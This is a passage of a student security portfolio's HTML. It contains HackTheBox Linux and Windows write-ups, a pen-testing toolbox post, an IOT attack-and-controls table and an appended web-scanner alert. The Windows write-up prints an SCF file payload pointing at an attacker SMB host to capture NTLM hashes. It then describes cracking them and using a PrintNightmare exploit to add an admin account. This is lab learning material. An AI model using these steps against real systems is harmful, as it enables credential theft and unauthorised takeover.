src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 67108864Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 908189033, which evaluates to: 1998-10-12 12:43:53
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
